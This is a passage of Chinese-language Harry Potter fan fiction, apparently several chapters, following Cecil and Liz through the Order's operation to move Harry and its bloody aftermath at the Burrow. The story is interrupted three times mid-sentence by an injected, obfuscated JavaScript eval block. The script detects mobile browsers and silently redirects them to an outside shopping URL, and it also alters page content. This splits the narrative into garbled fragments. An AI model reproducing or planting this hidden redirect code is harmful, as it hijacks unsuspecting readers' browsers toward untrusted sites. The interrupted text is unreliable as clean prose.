“我一会儿去值班,家里的东西都在老地方。”罗里一边带上了门,一边转头走向厨房,没有问过塞西尔自顾自盛了一碗蘑菇汤放在桌上。 将“我已经吃过了”咽回肚子里,塞西尔拉开椅子坐在餐桌旁,刚拿起勺子,罗里又多拿了两片烤面包过来,全程都没说话,沉默地收拾着桌子另一边的餐具。 搬回家的这些日子大多都是这样,加上越来越多的袭击事件让罗里在圣芒戈的工作变得更加忙碌,但他还是会在上班前预备好塞西尔的早餐或者是晚餐,他至今都没有问过她回家的理由。 唯一一次交流还是因为米拉尼尔,伍德的这只猫头鹰他们都认识,塞西尔也清楚其实罗里一直都知道自己和莉兹是保持着联系的,于是破天荒地,她主动向罗里说起了莉兹的近况。 “我现在问安不安全是不是已经太迟了?”罗里拿出了一包肉干喂米拉尼尔。 “并不迟,因为不管你什么时候问,我都会回答你不安全,”塞西尔敲了敲预言家日报上的杂货铺爆炸意外,“谁也不知道下一个是不是自己。” 简短的对话戛然而止,塞西尔抬起手臂,米拉尼尔乖巧地飞过来停住,她拿起没有拆封的信走上了台阶,楼下也传来关门的响声。 邓布利多去世后,凤凰社的处境算不得顺利,尤其是斯内普的“背叛”(尽管塞西尔认为事实远不止如此),多少还是引起了一些骚动,她需要安抚那些冲动之下要为总部铲除叛徒的同伴,也要以最快的速度掌握目前大家手上都有什么正在进行的任务,然后判断什么是应该继续的,什么是需要停止的。 于是为了找到一个合适的由头把大家都集中起来,原本决定放弃举办婚宴的唐克斯和卢平还是给凤凰社的大家都送去了请帖,在安多米达的支持下,他们在屋子后面的庭院里摆了一张长桌,和格里莫广场12号里那张差不多,约莫着能够坐下全部的成员。 那日午后所有人默契地为他们举杯,莱姆斯·卢平少见地换上了没有补丁的衣服,花白的头发被塞西尔用魔法染回了原本的颜色,他在祝酒辞中对她说:“谢谢你,我的朋友。” 塞西尔假装嫌弃,扭头喝光了杯子里的红酒,顺便趁酒意还未上头,点明了这一次聚会另一个重要的目的,因此阿拉斯托·穆迪自然而然接过了指挥棒,他手上有一个必须保证万无一失的任务,而这个任务需要足够多的人手。 如今距离某个日子越来越近,他们也敲定了最终的方案,这听起来像是一个蠢办法,甚至透着一点古老的兵法意味,但塞西尔依然有些犹豫,上个礼拜她和卢平将初步决定好的人选都叫到了韦斯莱家,穆迪认为还有必要再增加一组,便主动问有没有人可以像哈利一样擅长飞天扫帚,至少能够顺利驾驭一把火弩箭。 “我们认识一个。”弗雷德看了双胞胎兄弟乔治一眼。 “她只会比哈利飞得还厉害。”乔治点了点头,看向塞西尔,“我想她应该完全清楚凤凰社的事情?” 在这个时候听到他们提到莉兹完全是在塞西尔意料之外的,在场几人的目光都转向她,塞西尔便应声:“我为她担保,她值得信任。” 是啊,她又怎么会不值得信任呢,一个冒着风险和伙伴们一起在暗地里将圣芒戈的出院病人运送到普德米尔联队球场的人,一个会在电台节目中提醒巫师们警惕新法案的人,一个为邓布利多保守着秘密哪怕这个秘密足以让她陷入深渊的人,就像面前这几个年轻人一样,塞西尔偶尔会因为想起莉兹还没有二十岁而无比愧疚。 这世界太糟糕了,竟然到了需要拿年轻的生命来献祭的时候。 不过这样的话要是真的说给莉兹听,她一定会摆出那副冷淡的神色,带上一丝嘲讽笑出声来。这些宏大的定义在她看来只是一种虚无罢了,回忆起过去的事情,无论是成为DA的成员,又或是配合凤凰社的行动,还是接下邓布利多那个不可能任务,她都不愿将它们看作是什么“伟大的正义”。 做出了选择并选定了立场的莉兹并不想就这样用某种身份定义自己,她不是因为是什么人才去做什么事,她只是因为去做了某件事而被认为是某种人,一切能够让战争结束的事情,她想自己都会去做。也许她曾经有过因为自己无法成为一个故事真正的主人公而失落的时候,而到了现在,她确实认为自己不会是改变世界的关键点,但至少可以成为暴风雨中的一滴水。 电台工作室在七月的一个深夜迎来了许久未见的来客,提前守候在客厅里的莉兹起身同塞西尔紧紧拥抱了一下,姑姑的状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487909|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态比她想象中要差一些,那头总是鲜亮的短发变成了暗淡的灰,齐耳的卷发在脑后扎成一个小揪。 具体的事情早前塞西尔已经让守护神带信来讲过了,那时刚跟伍德熬过一个通宵的莉兹被那头白狮推醒,恍惚间她还以为自己是在做梦。 而且前两日韦斯莱双胞胎兄弟也在店门口挂上了歇业一周的牌子,二人跟着下班的李·乔丹来了工作室,因为伍德、杰姬还有帕特里克三人还在普德米尔球场安置新的一批无家可归的巫师,弗雷德就客串了一期主播,和李合作播送了新节目。 乔治则是在一旁跟莉兹悄悄说了下周的安排,他两手环抱倚着墙:“你好像一点都不惊讶我们会向总部提起你,虽然你一直以来都是这样。” 莉兹听到里面两个人聊得太开心快偏离主线了,连忙举起手里的稿子指着下一个主题警告李少说两句废话,然后转头瞥了一眼乔治。 “理由还是挺容易推断的,你们需要一个和波特飞得一样好的人,一个成年了没有踪丝的人,一个有足够的能力自卫并在必要时刻可以攻击食死徒的人,更重要的是一个绝对不可能泄漏波特行踪的人,那除了我以外,确实也没有其他人选了,不是吗?” “小古板女士的说话风格真是一点没有变,”乔治笑了笑,“搞得我都有点怀念过去了。” “小古板……”莉兹重复着敲打稿纸的动作提醒里面的两个主持人,嘴角微微上扬了一些,“很久没听见有人这么叫我了。” “所以你还是挺喜欢这个称号的对吧?”乔治笑话道。 轻哼一声,莉兹卷起手里的稿纸一拍他的脑袋,乔治便住了嘴,将注意力放在了正在努力把节目拉回正题的弗雷德身上,过了好一阵子,才听见她悠悠地说着:“那就希望你能再多叫一次,我也多听几次好了。” 这会是一件可能要送命的任务,危险的程度太显而易见了,以至于所有的焦虑与担忧都显得有些多余,就好像这一刻莉兹看着塞西尔望向自己的眼神,她没有刻意回复让人安心的话。 “我一定会尽量保证你的生命安全,阿拉斯托也会让你避开所有正面攻击,但你知道的,没有完全保险的事情。” “如果还有其他的路可走你也不会想到我的,”莉兹和塞西尔对视了一眼,“但是我们似乎一直陷入了一个误区,为了让他永远得不到老魔杖,保护我的确是一种方式,但如果我死了,这世界上也就没有人能找到老魔杖了,我想你也知道爷爷的店是怎么保管魔杖的,所以这听起来似乎也不坏,是吗?” 很显然,莉兹的推论必定是在邓布利多的考量之中的一个条件,然而这样被直接点破还是让塞西尔不知如何回应,有时候莉兹的理智会让那些残忍的事实都带上讽刺的味道,因为她看透了残忍甚至用一种“那还能如何”的语气复述了出来。 轻轻叹了一口气,塞西尔准备出发了,便开口问道:“你需要和你的朋友道个别吗?” “不用,我会回来的。” 莉兹答得干脆,转身轻手轻脚打开伍德和帕特里克的房门,将一张字条放在他的床头,最后弯腰在他的脸颊轻轻一吻就和塞西尔离开了公寓。 122. 转移前夜 在出发去女贞路护送哈利转移之前,所有人要最后集中碰头一次,按照阿拉斯托·穆迪的说法,他需要面对面确认每个人的决心,任何人只要有任何犹豫,都可以在这一夜退出,凤凰社从不以立场强迫牺牲,个人的生命永远高于一切。 第一站安全屋是唐克斯的父母家,也就是此时莉兹到达的地方,她和塞西尔是最早来的两个人,沉默地坐在沙发角落。唐克斯的妈妈安多米达为她倒了一杯浇了太妃糖浆的热可可,女人与通缉令上的贝拉特里克斯·莱斯特兰奇简直是一个模子刻出来的,莉兹顿时脊背发凉,直到她微笑着开口同塞西尔说:“这孩子果然和你们说的一样,看起来很沉稳。” “是吧,有时候我都不知道谁才是大人了。”塞西尔抬手揉了揉莉兹的脑袋。 礼貌地对着安多米达微微点头,莉兹双手捧起马克杯,喝掉最甜的那一层,掩饰自己刚刚一瞬间的失态。 差不多到了后半夜,本就算不得宽敞的客厅里挤了十来个人,乔治坐在了莉兹旁边的沙发扶手上,弗雷德则是趴在两人后面,被夹在中间的莉兹有一搭没一搭地跟他们闲聊着。唐克斯把塞西尔拉到了厨房,隔着岛台,低声和她说着悄悄话,才讲了没两句,塞西尔便皱着眉头狠狠瞪了在另一头的卢平一眼,仿佛下一秒就要扯着他的衣领过来算账似的。 所有人七嘴八舌的根本没个消停,穆迪用力咳嗽了两声也没人理睬,他只好拖着那条木制假腿走到客厅正中央,用拐杖狠狠敲了两下地板,震得茶几上的唐克斯的全家福都翻扣了过来。 “除了金斯莱还有海格,其他人都到了对吧?” 屋子里蓦地安静了,莉兹的注意力被他转来转去的假眼吸引走,而后又缓缓移到他一直揣在斗篷口袋里的右手,他应该一直是握着魔杖的,这倒是跟那年课上教的一样。她认为自己的观察算得上是不动声色,但还没移开目光就发现被他锁定了,假眼不再转动,反而直直盯着自己,莉兹眨了眨眼,在穆迪提到自己名字的时候站起身,扫视了一圈和大家都打了个招呼。 “我们一共会有四组人使用飞天扫帚,你是唯一使用火弩箭的,我会负责你的守卫。”穆迪介绍道,“也许你会因此安心,但是我要强调,因为斯内普的缘故,我们相信食死徒应该掌握了关于哈利的所有情报,这也就意味着……” “神秘人会第一个就盯上我。”莉兹面无表情地抢在穆迪之前说出了他要说的提醒,或者说是警告。 “很好,我们这里确实有个机灵的年轻人,”穆迪看向其他人,“虽然我会想方设法让伏地魔来追我,但食死徒的数量足够多,对你们也是威胁。” 说到这里,他犹豫了一下,然后继续说:“我想我们一定要做好极有可能全军覆没的心理准备,因此今晚是最后的机会,如果有人想要在这个时候退出。” 漫长的沉默代替了回答,穆迪再次说了“很好”,抬起左手用魔杖指了指自己的手表:“确认一次时间,四点十五分,从现在开始十二个小时后,我们就会从这里出发。” 话音刚落,安多米达招呼着几个年轻人上楼,她早早为他们安排好了休息的地方,莉兹没什么睡意,和同样抱着睡袋的赫敏看了彼此一眼,她想麻瓜出身的格兰杰这个夏天过得大约是不太平的,不过关心的话到了嘴边还是没能说出来,只是扮作睡去的模样闭上了眼,整个人缩进了睡袋里。 “谢谢你。” 她听见了赫敏这样说道。 “我没有为你们牺牲,我也没有准备为你们牺牲。”莉兹依然闭着眼,说话的语速和往常似的缓慢,“因为这不仅仅是只和你们有关的事情。” 身旁的人应了一声,直到逐渐平稳的呼吸声传来,莉兹才重新睁开了眼睛,在昏黄的一盏台灯照明下,勉强能看到有些掉了漆的天花板上印着唐克斯喜欢的魁地奇俱乐部的标志,她突然想起米歇尔也在她小时候睡的婴儿床上挂着用普德米尔联队吉祥物做成的玩具风铃,那时她很喜欢这些毛茸茸的东西,只想用手把它们拽下来,最后每一个公仔都缺胳膊少腿的。 她不知道自己保持着这个出神的动作有多久,只知道外面天色渐亮,安静了一阵子的走廊出现了脚步声,大约是唐克斯的,听起来慌乱而匆忙,这一头问莱姆斯有没有看见她的便携窥镜,那一头问妈妈安多米达自己的靴子怎么只剩了一只。 这样的对话就像一个寻常的早上,莉兹轻轻笑了两声,直到塞西尔拍了拍楼梯扶手提醒再不出发就要错过斯克林杰的晨会了,唐克斯才哎呀一声跑了下去。 可能是因为木头的楼板并不隔音,莉兹还能继续听到两人在门口的说话声,塞西尔发动了自己的雅马哈,对着唐克斯说:“虽然我是很希望不用参加那劳什子晨会的,但你现在多少也算是傲罗办公室的重要官员了,不是吗?” “梅林的胡子可别胡说了,我看部长只是想通过我接触哈利而已。”唐克斯跨上机车坐在后面,“出发!” 黑色的雅马哈眨眼间驶离街区,目送她们出门的卢平无奈地叹了一口气,带上了院门。 除了唐克斯和塞西尔,比尔和芙蓉今天也会正常去古灵阁上班,正在首相身边负责守卫工作的金斯莱会在他们下班后再来汇合,海格的体格太过惹人耳目,穆迪跟他约定好午后到达。 白天剩下还有这么长时间,闲着也是闲着,赫敏主动把自己的魔杖交给莉兹,让她帮忙确认一下魔杖的状态,这种热闹双胞胎兄弟怎么会不凑,顺便还带上了满面愁容的罗恩,他好像是唯一一个一直在担心哈利晚上会不会出事的人,至少只有他一直把情绪摆在了脸上。 于是莉兹在接过罗恩的魔杖时,她多看了他几眼:“你知道吗,你的魔杖是我做的。” 罗恩稍有些惊讶地抬起头来。 “是的,这是我第一次卖出自己制作的魔杖,十四英寸,柳木,独角兽的尾毛,挺神奇的,我当时有预感,它会在那天选中自己的主人,然后你就出现了。” 莉兹的表情逐渐柔和起来,又笑了笑:“但你一定很少保养它。” “啊……对不起,”罗恩慌张地拿回魔杖在袖子上擦了擦,“我以后会注意的。” 在一旁窃笑着的双胞胎被莉兹扫了一眼:“你的杖芯都冒头了,还有你的底部都有裂缝了,你们研制道具的时候能不能把魔杖拿出实验室。” “嚯呀,被小古板女士教训了。”兄弟俩异口同声说着。 下一秒魔杖便脱了手,莉兹的缴械咒简直出神入化一般,只见她对着两根魔杖念了几遍恢复如初,一些久违的神采出现在她那双银白色的眼睛里,乔治不禁想,要是什么都没发生就好了,对角巷还是一样热闹,她就能坐在那间老旧的魔杖铺子里对着进来的客人讲述着每根魔杖的故事,就像现在。 很显然,欢乐的时光总是短暂,气氛随着众人的集结和约定时间的临近而逐渐凝重,因为莉兹需要到女贞路才能借用哈利的火弩箭,所以出发时她还是会坐在塞西尔的机车后座,厚重的头盔挡住了脸,她看不清姑姑的神情,只听得出她的语气里一直带着愧疚。 善良的大人们似乎总有这样的错觉,好像把真相在孩子们面前摊开就是破坏了他们的快乐,就是对他们的残忍,或许这也不错,但她想不论是自己还是哈利,都愿意接受坦白的残忍而不是愚昧的愉悦。 随着幻身咒的解除,一团团黑影在一栋房子的后花园前显露出了真身,身型硕大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487910|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海格把他的摩托停在了门口,骑着飞天扫帚的几人轻巧落地,比尔和金斯莱控制住两匹夜骐,把缰绳暂时绑在了路灯柱上,莉兹和塞西尔走在最后。 穆迪出声提醒大家:“之前已经说过了,一会儿见到哈利之后所有人禁止使用任何魔法,但是记住,都握紧自己的魔杖。” “这可真是够矛盾的。”弗雷德嘀咕了一声,随即就被穆迪瞪了一眼。 乔治连忙拉过兄弟,又对着莉兹招了招手,三个人一起走向那扇被打开的后门,他们对着一脸茫然的哈利接力似的说着晚上好。 这场兴师动众的转移计划自然是没有和被保护对象,也就是哈利·波特本人透露过的,他好像完全来不及吃惊还有什么人会进到德思礼家的房子里,毕竟他似乎还需要一点时间消化穆迪说的要把他变成七个人这句话。 “你们不应该……” “我不能……” “这不可以……” 他的话反复被穆迪打断,莉兹却不知何时走到了他身后,只见她一抬胳膊,原本倒在地上的那把火弩箭就被她拿在了手里。 “哦,你想知道我为什么在这里?”她开口,语气轻快。 “是啊,我不知道你们为什么要在这里!”哈利大概是被穆迪逼急了。 “似乎在场的除了我之外,没有人能和你飞得一样好了。”莉兹打量着这把火弩箭,“不过我会试着飞得差一点,这样看起来更像你。” 一句调笑惹得大家都笑了起来,哈利转头又被赫敏扯了一把头发,根本来不及再想出什么反驳的话,穆迪已经摇晃起了手中的复方汤剂。 “疯眼汉我希望你制作药剂的水平足够高超,”弗雷德继续说着不着调的话,“我们可不想一辈子就变成这么一个高度近视的小可怜。” “那你应该来问问我,”负责殿后任务的塞西尔从穆迪拎来的大麻袋里把七套一模一样的衣服翻出来,“我确实可以让你一辈子都变成这样的可怜蛋。” “好嘛——”弗雷德耸了耸肩喝下一口复方汤剂然后递给身边的莉兹。 “你质疑塞西尔的魔药水平还不如质疑我会不会飞。”莉兹皱着眉头将药剂咽下去,话音刚落她的乱蓬蓬的卷发便迅速缩水成了短头发,突然拔高的个头吓了旁边乔治一跳,全身骨骼都在变化,这感觉实在奇妙。 “哦——我们都一样了!”双胞胎兄弟指着自己和莉兹一齐说道。 “大家跟好自己的守卫,三分钟后准时出发,”穆迪用拐杖又敲了敲地板,放大自己的声音试图盖过众人的嘈杂声,“莉兹是哪一个?” “这里。”莉兹轻抬起手,不属于自己的嗓音从喉咙里冒出来。 “火弩箭的速度可以最大程度保护你,一旦遇袭你不需要跟紧我,只要飞出女贞路范围,立刻幻影移形。”穆迪顿了顿,“我需要你服从命令。” 莉兹若有所思,点点头算是答应了。 不一会儿出发前,她经过海格的摩托车时停下来,弯下腰低声对着坐在挎斗里的哈利说:“我会把西里斯送你的礼物安全还给你的。” 听完这话哈利立马转过头去,看着莉兹的背影,他默默握起了拳头。 “三、二、一!” 穆迪一声令下,所有人同时飞离地面。 穿过低矮的云层,莉兹被潮湿雾气糊了一脸,她竟然觉得骑在扫帚上的感觉有些陌生,瞬间找回了飞行的节奏,她与穆迪保持着一前一后的位置,中间隔着不到三米,像是魁地奇比赛时的站位。 明明是应当紧张戒备的时刻,莉兹却感受到了意料之外的畅快,一抹笑意刚准备攀上嘴角,一双红色的,宛如大蛇一般细长的眼睛从阴云之后出现。 123. 全员存活 太阳落入地平线下,夜晚降临,喧闹声被吞没,塞西尔倚着机车,手里拿着一个沙漏,来回倒转了几轮,终于到了和计划里约定好的时间,女贞路一片安宁,德思礼家对面的那栋小楼的二楼窗户里也亮了灯,有一个人影在那里,对方对着她挥了挥手,塞西尔抬头望了一眼,接着扣上头盔,疾驰而去。 尽管食死徒们没有在这里整出什么其他的事端,明明事态还没有往最坏的方向发展,但她仍然觉得心里惴惴不安的。骑车驶出女贞路的范围,塞西尔连带着机车一起幻影移形到了她的安全屋第一站。阿不福思几乎是在她落地的同时现身的,他将她的雅马哈用酒吧后院的草垛掩护起来,而后冷着脸从怀里掏出了一个布袋子,里面似乎装了不少零碎的东西,提起来叮铃桄榔地响。 “魔法部的人今天来过了,这些东西我用不着,”阿不福思没有做过多的解释,转头指了指台阶上的陶罐子,“差不多到时间了。” 一手接过布袋,一手抱起陶罐,塞西尔刚踏出一步,整个人便腾空而起消失在空中。 伴随着陶罐碎裂的声响,莫丽·韦斯莱近乎是绝望地看着敞开的陋居大门,她希望至少有一个人出现也好,哪怕只要一个人活下来也好,站在一旁的金妮紧紧握住了妈妈的手,两个人都在发抖。 “真是不走运,我提前脱手了,幸好还是掉在保护咒范围内了……”塞西尔用清洁咒语潦草收拾着自己身上的污泥和杂草,话还没说完,莫丽便冲过来给了她一个用力的拥抱,差一点将好不容易站稳的塞西尔又推倒在地。 莫丽眼眶泛红,不断摇着头甚至说不出完整的句子,金妮走上前来,她攥着衣角,手指指节发白,开口说:“还没有其他人来,他们都错过了门钥匙。” 搀扶着莫丽走回屋子里,塞西尔看到桌上那只皮靴子,那应该是穆迪和莉兹那一组的门钥匙,原本就惴惴不安的心好像坠进了地底,一阵凉意包裹着她。 “是哈利,”金妮突然喊了出来,“哈利到了!” 哈利手里拿着那把银梳子,和海格两人浑身都是泥水,看起来很是狼狈。刚刚还慌乱得脸色苍白的莫丽立刻起身,强压着自己的担忧,换上镇定的语气,像对待自己的孩子一样搂着哈利,重复着几句关切的话语。 “有白兰地吗,当药用的……”海格吃痛地扶着胸口,皱着眉头问道。 抬手拦着要开柜子拿酒的莫丽,塞西尔伸手从怀里摸出了自己的酒壶,等海格接过去大口喝着白兰地,她便面无表情地盯着坐在厨房里的哈利,眼里带着一点露骨的怀疑。 没等她开口要确认究竟发生了什么,莱姆斯·卢平扛着乔治快步走了进来,大片的血迹惹得莫丽惊叫出声,乔治的左耳只剩下了一个流着血的空洞,他的眼睛也只能勉强睁开才能保证自己不要晕过去。塞西尔正要去查看情况时,突然被面带怒色的卢平推到一边,他用了太大力气,她踉跄了两步,后背撞到墙上,挂着的一幅照片掉落在地,玻璃碎开。卢平的愤怒反常至极,简直像变了一个人似的。 二人举起魔杖指向彼此,哈利以为他们要在这里打起来,受了重伤的海格也扶着椅子站起来要劝架,结果卢平和塞西尔竟同时抬手让他们停步,面对面异口同声说道:“我认为我们之中有叛徒。” 塞西尔还转头看了哈利一眼,接着卢平继续说:“我数一二三,放出你的守护神。” 一头白狮子和一匹狼出现在两人的身后,松了一口气的他们迅速将目光集中到了依然震惊的哈利身上,海格不满地说:“你们不能这么做,你怎么能怀疑我们!” “怎么可能不怀疑,我今天碰见了斯内普,在那群人里,”卢平尽力让自己平静下来,“乔治的伤是神锋无影造成的,斯内普……我不应该放过他的,该死的,我竟然让他就这么走了。” “你们来确认我的身份吧,需要看我的守护神吗?”哈利反倒最先冷静了,“或者还要我做些什么?” “不需要,时间没到,你还不可以使用魔法,我知道这很冒犯,但是十分抱歉,这也是唯一的保险,”塞西尔走向他慢慢拿起魔杖,“摄神取念。” 这位被看作救世主的孩子脑子里装满了纷乱的思绪,那些愧疚与悲痛在塞西尔眼前一闪而过,她明白此刻的自己一定像一个冷酷的魔鬼。 “可以了,够了吧,”哈利瞪大了眼睛,挣脱开咒语的影响,“我就是那个混账的预言之子哈利·波特,可以吗,是我让你们变成了这样。” 这句话像一盆凉水,让塞西尔与卢平逐渐收敛起身上那些怀疑的刺,卢平尝试着念了几个恢复咒语想要帮乔治止血,塞西尔从海格手里拿回酒壶,将剩下的最后一口喝完,屋子里也恢复了一开始的安静,直到门外陆陆续续响起了脚步声。 唐克斯和罗恩回来了,金斯莱和赫敏回来了,亚瑟和弗雷德也回来了,连最后一组比尔和芙蓉都骑着夜骐来了,塞西尔再也分不出精力一个个去检查每个人的身份,她按着眉心,打开那瓶刚刚莫丽没有拿出来的白兰地。 比尔拉开椅子坐在她的对面,开始讲述他看到的一切。 “和我们预计的一样,疯眼汉是第一个被盯上的,我想应该是刚刚飞离女贞路的时候,他们就已经被追上了。” 塞西尔偏过头,抬眼看着正在说话的比尔。 “芙蓉和我离他们是最近的,莉兹听了穆迪的指令先飞走了,火弩箭的速度太快了,她眨眼间就从四个食死徒之间穿过去了,她大概是安全的,但糟糕的是我想我看见了伏地魔,一个黑影从我们这里飞过去了……” 默默倒吸了一口凉气,塞西尔其实不想再听下去了。 “我们想上去帮把手,底下的一个谷仓被炸掉了,里面的谷子变成了龙卷风,把周围所有的田地卷了进去,我也看不清接下来发生了什么。” 长长吐出一口气,塞西尔放下没喝的酒:“谷仓的位置在哪里,去找他们吧。” 情况也许并没有塞西尔想的这么糟糕,如果现在摔落在地的莉兹能重新拿起魔杖的话,她就能让自己的守护神去报个信,只是她想自己短时间内应该动弹不得了,心跳的速度缓慢得不寻常,右眼的疼痛感正在逐渐消失,不过眼前却还是像罩着一层黑纱一样,能感受到微弱的光,却看不清任何东西。 侧脸贴着湿漉漉的草皮,她艰难地呼吸着,泥土的味道灌了进来,她的胸口有刺痛感,大约是断了几根肋骨,莉兹趴在原地动了动手指和脚,四肢还完好,运气不错,至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487911|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少没把自己的脊椎摔成几瓣。咬着牙强迫自己翻过身,她昂起下巴勉强看清了那把火弩箭插在了院子里的灌木上,她又在心里想,好歹保住了这东西。 “穆迪先生,穆迪先生……”她忍着痛出声,和她一起摔进庭院的阿拉斯托·穆迪背对着她倒在旁边。 连着叫了好几声,他总算有了点动静,但也不像是听到了自己在叫他,只见他用手肘支撑着坐起身,然后挥了挥魔杖将不远处的木头假腿装回来,接着扶住扫帚摇摇晃晃站起身,他的假眼不知所踪,剩下了一个空空的眼眶,那个空洞在深夜里看着比平时还吓人。 刚喘了一口气,他再次挥了挥魔杖,一瓶白兰地从打开的窗户里飞出来。 “先生,能给我也来一口吗?” 他这时候才听见了莉兹的声音,被撞晕的脑袋稍微清醒了一些,转头去看躺在地上的她,嘴唇发白,半张脸都是血,右眼紧紧闭着睁不开。 “你这孩子跟塞西尔真是一个模子……” “不是的,我只是有点疼,咳咳——”莉兹像是被呛到一样咳嗽了两下,吐出了一团血痰,她眨着眼睛,原本银白色的右眼连着眼白一起已经变成了黑色,流出的血盈满了眼眶。 “你先等等。”穆迪转身推开家门,将装着药剂的箱子找出来,一瘸一拐走回她的身边,忍着身上的酸痛半跪下来,先让她吞下了止痛的药粉,又把止血的魔药药剂一股脑倒在她的眼睛上,然后一遍又一遍念着治疗咒语。 等待着魔药起效的这几分钟里,莉兹卸下所有的力气只是躺着,闭上眼时虽然什么都看不见,可刚刚在空中的混乱场景却又在不断重现。 现在他们两个人都保住了性命固然是最好的,可自己确实是没有听穆迪的命令,飞出去之后又从背后对着围着他的三个食死徒使用了昏迷咒,这样本能一般的援助反而给了伏地魔可趁之机。 我真是太傲慢了,无尽的自责就要压垮莉兹了,她想知道自己为什么都经历了这么多事情了,还是总以为局势在自己,什么都可以在掌控中。 要不是穆迪的铁甲咒足够及时,伏地魔的恶咒不会只是毁掉自己的眼睛,也多亏了他挡在了自己的身前,让她避开了一场正面对决。 也不知道被炸掉的谷仓有没有出什么大事,她当时一心只想干扰伏地魔的攻击,情急之下才会这样做,那场龙卷风卷起了尘土,在空中迷住了所有人的视线,莉兹也找到机会将谷子再变成锋利的针刺追向食死徒们。 坏了,她又反应过来了,这些咒语根本就不是哈利的风格,哈利怎么可能擅长这种变形咒语,难怪伏地魔那么快就走了,他肯定是认出来了。 “孩子,你将来要跟我一样了。”穆迪叹了一口气。 “那您的假眼应该去哪里定制呢,我想您也得再定一只了,我们能凑成一双。” 莉兹似乎完全不在意,只是缓缓睁开眼,转动了一下眼珠子,左边应该是完全动不了,右边没有任何问题,也能看清东西,她的语气平淡,像在说今晚吃了什么一样。 穆迪一瞬间竟然被她这仿佛什么大事没发生的态度安抚到了,他弯腰将莉兹扶起,没有再讲其他的话,只是开口说:“我们现在需要先去陋居汇合。” 124. 如果在身边 “梅林的胡子,是疯眼汉!”比尔立马喊出声。 刚刚准备要出发的塞西尔突然觉得自己的心终于落到了平地上,她回过头看着走进来的两个人,脸上蒙着一层劫后余生的阴影,阿拉斯托·穆迪都没了平时的精神气,跟在他身后的莉兹则是低着头,手里抓着火弩箭,脚步虚浮,好像下一秒又要栽下去似的。 “等一下。”金斯莱抬手让穆迪停在门前不要走近,屋子里也逐渐安静下来,大家沉默地望着他们,一旦怀疑的情绪出现过一秒钟,人们就很难不谨慎。 “看来我们之中有叛徒了?”穆迪转眼就明白了现下的处境,皱着眉头扶住拐杖,抽出魔杖让自己的守护神绕着金斯莱转了两圈,接着瞥了一眼完全依靠着火弩箭才能勉强站立的莉兹,“你们还要拷问着孩子吗?” 而闭着右眼的莉兹只觉得自己的脑袋天旋地转的,她强撑着抬起头来,那只变成了血红色的眼睛让塞西尔再也坐不住了,她连忙走过来托住就要晕过去的侄女,嘴里不断念着:“够了吧,今晚真的……够了吧。” “我想我有办法证明一下,嗯——我有的,”莉兹摆了摆手,又眨了两下眼睛,将视线锁定在面色凝重的哈利身上,指着他说,“我在天文塔捡到过你的隐形衣,这个可以吗?” 哈利的表情显然说明了一切,莉兹便摸着沙发的边沿走了几步,在模糊中看到了半躺在那里的乔治或者是弗雷德,她现在这时候实在分辨不出,伸手推了推他的腿,让他给自己腾了点地方,然后喃喃问道:“韦斯莱你怎么了,也负伤了?” “我是乔治。”乔治知道她一定是没看出来,“圣洁乔治。” “什么?”莉兹疑惑。 “我少了个耳朵,多了一个洞,我是洞人?”乔治笑了笑,“世界上最无聊的事情就是解释笑话了。” “不是,我听懂了,我只是在惊讶。”莉兹说。 “你怎么还在玩这个无聊的笑话……”一旁的弗雷德将一杯热茶递给莉兹,此时厨房里又传来了争论的声音,今晚的变数实在太多了,每个人在慌张之下都在互相指责。 为了安抚莉兹,塞西尔走过来在她跟前蹲下,同时关切地询问发生了什么:“阿拉斯托说已经帮你紧急处理过了,但我认为还是应该带你去一趟圣芒戈,去见一下罗里。” “恶咒造成的伤害没有反咒,穆迪先生一定也和你说过了,”莉兹说得像失去了一只眼睛的人不是她一样,“我现在更想好好睡一觉,止痛剂用了太多。” 塞西尔长叹一口气,莉兹又想起了什么,微微睁开眼:“对了,我们还得通知奥利弗和帕特里克,谷仓爆炸了,要去照看一下附近的人……” 她越说越小声,塞西尔按下她抓着魔杖的手:“我来通知他们,我来就行了。”她起身走到了门外,一头白狮也随即奔向了夜色中。 陋居的沙发上躺着两个伤员,厨房里则吵得屋顶都要被掀翻了,要是能有一个人能出来叫停就好了,哈利发现自己说的每句话都会被打断,所有人只关心斯内普知道了多少,有没有人接触过斯内普,到底谁和斯内普沟通过,他一点都不想再听这个人的事情,于是他干脆从厨房的后门走了出去,又踩进了落地时踩中的水坑,鞋子再次湿透。 